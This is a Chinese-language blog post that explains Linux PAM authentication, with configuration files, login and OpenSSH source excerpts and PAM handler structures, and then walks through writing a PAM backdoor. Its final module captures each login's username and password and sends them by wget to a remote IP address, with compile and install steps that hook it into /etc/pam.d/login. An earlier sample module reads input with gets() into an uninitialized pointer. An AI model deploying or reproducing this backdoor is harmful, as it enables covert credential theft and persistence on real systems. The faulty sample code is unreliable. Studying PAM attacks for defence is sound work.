好久没来这跟新了,打算从今年开始在这里除除草,我兄弟的公众号也开通了给大家推荐下
小菜鸡的技术之路
关注公众号推荐给大家,网盘免费的Linux学习课程
本文从简单理解PAM机制入手,解释了大部分介绍PAM文章没有解释的Linux登陆机制,从攻击面入手开发PAM模块后门,从模块调用者和被调用者两个角度进行分析,分别实践开发对应程序。通过本文介绍将会对PAM模块有更加深入的了解和认识,提高实战过程中分析认证模块的能力。
全名Pluggable Authentication Modules,可插拔认证模块。为了统一认证系统,PAM提供了完整系统的认证机制,可作为应用程序编程接口进行调用。
PAM作为一个认证模块,在linux系统中使用较为广泛,主要作为API进行使用,使得认证系统灵活性、扩展性大大增强,主要认证结构如下图:
如上述的图示, PAM 是一个独立的 API 存在,只要任何程序有需求时,可调用 PAM 进行认证, PAM 经过一连串的验证后,将验证的结果回报给该程序,程序根据反馈结果判断是否认证成功。目前在Linux系统中很多程序都会利用 PAM API同时我们也可以自己编写程序调用PAM。
PAM 用来进行验证的数据称为模块 (Modules),每个 PAM 模块的功能都不太相同。我们也可自己编写Modules提供程序进行调用。
Linux系统中使用PAM 功能需要配置文件的支持,文件夹/etc/pam.d/保存着应用程序调用PAM的相关配置。应用程序调用相应的配置文件,从而调用本地的认证模块。
对应的pam_unix.so子模块放置在/lib/x86_64-linux-gnu/security/下,使用动态链接库.so方式引用。
综合如下:
文件夹 | 功能 |
---|---|
/etc/pam.d/* | 每个程序个别的 PAM 配置文件 |
/lib/security/* | PAM 模块文件的实际放置目录 |
/etc/security/* | 其他 PAM 环境的配置文件 |
/usr/share/doc/pam-*/ | 详细的 PAM 说明文件 |
说到这可能会有一些疑问,PAM在登陆认证环节到底做了什么角色?
Linux系统在登陆时利用Login程序进行认证,起初Login程序有单独的系统认证流程,会读取/etc/passwd和/etc/shadow文件进行认证,同时也支持PAM模块进行插拔式认证。
提到PAM不得不提就是他的配置文件,通常配置文件的名字和调用程序名字相同,举个例子Linux login登陆:
Step 1
在/etc/pam.d/文件夹下搜索到login如下图
Step 2
查看login配置内容
auth requisite pam_mylogin.so
auth optional pam_faildelay.so delay=3000000
auth [success=ok new_authtok_reqd=ok ignore=ignore user_unknown=bad default=die] pam_securetty.so
auth requisite pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session requisite pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
@include common-auth
auth optional pam_group.so
...
根据查看的login配置,大体来讲格式如下:验证类别(type)、控制标准(flag)、PAM的模块与该模块的参数
验证类别主要氛围4大类
类型 | 功能 |
---|---|
认证管理(auth) | 接收用户名口令并认证,设置秘密信息 |
账户管理(account) | 检查账户是否允许登陆(过期、时间段限制) |
会话管理(session) | 记录用户登陆与注销时的信息(日志记录在/var/log/secure ) |
口令管理(password) | 用来修改用户的口令 |
验证控制类型
类型 | 功能 |
---|---|
required | 不论成功或失败都会继续后续的验证流程 |
requisite | 失败就终止,返回Fail |
sufficient | 成功就终止,反之忽略结果 |
optional | 无论验证结果如何,均不会影响(通常用于session类型) |
有个形象的图形容上述流程
查看Linux login.c 认证登陆代码可以简单归结为下面几个函数
#include
# include
static pam_handle_t *init_loginpam(struct login_context *cxt)
{
rc = pam_start(cxt->remote ? "remote" : "login",
cxt->username, &cxt->conv, &pamh);
}
static void loginpam_auth(struct login_context *cxt)
{
rc = pam_authenticate(pamh, 0);
}
static void loginpam_acct(struct login_context *cxt)
{
rc = pam_acct_mgmt(pamh, 0);
}
static void loginpam_session(struct login_context *cxt)
{
rc = pam_setcred(pamh, PAM_ESTABLISH_CRED);
rc = pam_open_session(pamh, 0);
rc = pam_setcred(pamh, PAM_REINITIALIZE_CRED);
}
int main(){
struct sigaction act;
init_loginpam(&cxt);//初始化PAM环境
loginpam_auth(&cxt);//认证,检查用户输入的密码是否正确
loginpam_acct(&cxt);//检查用户帐号是否已经过期
loginpam_session(&cxt);//通过帐户管理检查之后则打开会话
init_environ(&cxt); /* init $HOME, $TERM ... */
setproctitle("login", cxt.username);
fork_session(&cxt);
execvp(childArgv[0], childArgv + 1);//执行sh
if (!strcmp(childArgv[0], "/bin/sh"))
warn(_("couldn't exec shell script"));
else
warn(_("no shell"));
exit(EXIT_SUCCESS);
}
为了分析上述代码首先我们了解下
模块类型 | 函数名称 | 功能 |
---|---|---|
认证管理 | pam_sm_authenticate | 认证用户 |
认证管理 | pam_sm_setcred | 设置用户证 |
账号管理 | pam_sm_acct_mgmt | 帐号管理 |
会话管理 | pam_sm_open_session | 打开会话 |
会话管理 | pam_sm_close_session | 关闭会话 |
口令管理 | pam_sm_chauthtok | 设置口令 |
中间带sm的函数是SPI需要自己去实现,举个例子:pam_authenticate为API,里面实现调用的pam_sm_authenticate ,该函数可以自己去定制实现。
看下login.c中的关键代码,第29行进行PAM初始化,30行利用pam_authenticate进行认证,31行通过了密码认证之后再调用帐号管理API,检查用户帐号是否已经过期,32行通过帐户管理检查之后则打开会话,最后36行执行/bin/sh命令。
分析过Login程序之后,看下ssh登陆认证模块,在openssh源码中发现下面认证代码
///openssh-portable-master/auth-passwd.c
int
auth_password(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
int result, ok = authctxt->valid;
...
...
#ifdef KRB5
if (options.kerberos_authentication == 1) {
int ret = auth_krb5_password(authctxt, password);
if (ret == 1 || ret == 0)
return ret && ok;
/* Fall back to ordinary passwd authentication. */
}
#endif
#ifdef HAVE_CYGWIN
{
HANDLE hToken = cygwin_logon_user(pw, password);
if (hToken == INVALID_HANDLE_VALUE)
return 0;
cygwin_set_impersonation_token(hToken);
return ok;
}
#endif
#ifdef USE_PAM
if (options.use_pam)//判断是否开启PAM认证
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if (!expire_checked) {
expire_checked = 1;
if (auth_shadow_pwexpired(authctxt))
authctxt->force_pwchange = 1;
}
#endif
result = sys_auth_passwd(ssh, password);//使用默认的系统认证
if (authctxt->force_pwchange)
auth_restrict_session(ssh);
return (result && ok);
}
从上述代码可以简单判断ssh在进行认证的时候首先判断是否进行 kerberos 认证,其次判断是否有CYGWIN模拟环境,再者判断是否使用PAM认证方式,最后利用sys_auth认证方式进行验证。着重看下PAM和sys系统认证方式。
PAM认证
int
sshpam_auth_passwd(Authctxt *authctxt, const char *password)
{
char *fake = NULL;
sshpam_authctxt = authctxt;
sshpam_err = pam_set_item(sshpam_handle, PAM_CONV,
(const void *)&passwd_conv);
if (sshpam_err != PAM_SUCCESS)
fatal("PAM: %s: failed to set PAM_CONV: %s", __func__,
pam_strerror(sshpam_handle, sshpam_err));
sshpam_err = pam_authenticate(sshpam_handle, flags);
if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
debug("PAM: password authentication accepted for %.100s",
authctxt->user);
return 1;
} else {
debug("PAM: password authentication failed for %.100s: %s",
return 0;
}
}
9行设置一些关于认证用户信息的参数,15行进行pam认证
SYS认证
///openssh-portable-master/auth-passwd.c
int
sys_auth_passwd(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
char *encrypted_password, *salt = NULL;
/* 提取salt盐值 */
char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
if (pw_password == NULL)
return 0;
/* 检查是否是空密码 */
if (strcmp(pw_password, "") == 0 && strcmp(password, "") == 0)
return (1);
/*利用xcrypt加密password和salt*/
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password;
encrypted_password = xcrypt(password, salt);
/*比较password和加密后的结果是否相同 */
return encrypted_password != NULL &&
strcmp(encrypted_password, pw_password) == 0;
}
#endif
代码中归结为以下几个步骤
介绍完PAM模块相关配置和使用,在本节重点介绍代码实现还有插入后门相关操作,从三个方面进行实战,开发普通PAM module,然后用程序调用,修改PAM module为后门模块。
#include
#include
#include
//重写SPI 接口代码
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc,
const char **argv) {
char default_pass[] = "aaabbbcccddd";
char *pass;
// 得到密码
printf("Password: ");
gets(pass);
// 测试判断,如果用户名和密码不相等,就认证失败
if (strcmp(default_pass, pass) != 0) {
return PAM_AUTH_ERR;
}
printf("Password is: %s\n", pass);
return PAM_SUCCESS;
}
通过下面两行进行编译
gcc -fPIC -fno-stack-protector -c pam_test.c
sudo ld -x --shared -o /lib/security/pam_test.so pam_test.o
在/etc/pam.d/ 文件夹下创建test文件内容如下
auth required pam_test.so
#include
#include
#include
extern int misc_conv(int num_msg, const struct pam_message **msgm,
struct pam_response **response, void *appdata_ptr) {
return PAM_SUCCESS;
}
const struct pam_conv conv = {misc_conv, NULL};
int main(int argc, char *argv[]) {
// 初始化
pam_handle_t *pamh = NULL;
int res;
const char *username = argv[1];
// 初始化PAM 设置test为验证配置
if ((pam_start("test", username, &conv, &pamh)) != PAM_SUCCESS) {
return 0;
}
// //认证用户
res = pam_authenticate(pamh, 0);
printf("%s\n",(res == PAM_SUCCESS ? "SUCCESS\n" : "Failed\n") );
// // 结束PAM
if (pam_end(pamh, res) != PAM_SUCCESS) {
return 0;
}
return res == PAM_SUCCESS ? 0 : 1;
}
在15行初始化pam配置的时候利用的是test配置文件,也就是我们创建的单条规则的文件。19行pam_authenticate使用的是pam_sm_authenticate进行认证。
利用以下命令编译
gcc -o test test.c -lpam -lpam_misc
./test username
利用PAM可以实现多种后门
这里只介绍第2种情况,效果图如下
为了方便演示,编写了一个不同的pam_test.so 包含以下内容
#include
#include
#include
#include
#include
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}//这个函数必须要重写
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* pUsername;
retval = pam_get_user(pamh, &pUsername, NULL);
char* pPw;
char * p = "Password:";
retval = pam_prompt(pamh,PAM_PROMPT_ECHO_OFF,&pPw,"%s",p);
char *url = "wget http://192.168.190.1:9999";
char *cmd = (char *) malloc(strlen(url) + strlen(pUsername) + strlen(pPw)+20);
sprintf(cmd,"%s/%s/%s > /dev/null 2>&1 &",url,pUsername,pPw);
system(cmd);
return PAM_SUCCESS;
}
本来是要替换pam_unix模块,但涉及的代码量太大就放弃了,仅仅用这个例子演示一下。接着下一步在/etc/pam.d/login中添加下面内容
auth required pam_test.so
这样在login程序验证的时候就会调用到该模块,同时也会调用以前的模块进行验证,这也就意味着有两重验证,具体原因是:
有一个链表存储着所有模块的pam_sm_*的实现,这个链表就是如下结构
pam_handle 结构体存储了基本所有的东西包括用户名、token、加密方式、各类引用的pam_sm函数名及函数链表。
struct pam_handle {
char *authtok;
unsigned caller_is;
struct pam_conv *pam_conversation;
char *oldauthtok;
char *prompt; /* for use by pam_get_user() */
char *service_name;
char *user;
char *rhost;
char *ruser;
char *tty;
char *xdisplay;
char *authtok_type; /* PAM_AUTHTOK_TYPE */
struct pam_data *data;
struct pam_environ *env; /* structure to maintain environment list */
struct _pam_fail_delay fail_delay; /* helper function for easy delays */
struct pam_xauth_data xauth; /* auth info for X display */
struct service handlers;
struct _pam_former_state former; /* library state - support for
event driven applications */
const char *mod_name; /* Name of the module currently executed */
int mod_argc; /* Number of module arguments */
char **mod_argv; /* module arguments */
int choice; /* Which function we call from the module */
}
其中struct service handlers 结构体如下存储着handlers。
struct service {
struct loaded_module *module; /* Array of modules */
int modules_allocated;
int modules_used;
int handlers_loaded;
struct handlers conf; /* the configured handlers */
struct handlers other; /* the default handlers */
};
handlers结构包含六个handler结构链表的指针,六个指针分别对应六种不同的认证API
struct handlers {
struct handler *authenticate;
struct handler *setcred;
struct handler *acct_mgmt;
struct handler *open_session;
struct handler *close_session;
struct handler *chauthtok;
};
handler数据结构是最直接保存服务模块的SPI服务函数的地址及参数的结构, 主要包含了当前服务函数指针、函数参数个数和参数列表、下一个句柄指针。
struct handler {
int handler_type;
int (*func)(pam_handle_t *pamh, int flags, int argc, char **argv);
int actions[_PAM_RETURN_VALUES];
/* set by authenticate, open_session, chauthtok(1st)
consumed by setcred, close_session, chauthtok(2nd) */
int cached_retval; int *cached_retval_p;
int argc;
char **argv;
struct handler *next;
char *mod_name;
int stack_level;
};
这些结构体是利用_pam_add_handler函数衔接在一起的,该函数负责加载服务模块的SPI函数具体细节不在细说了。总的来看可以将关系梳理如下: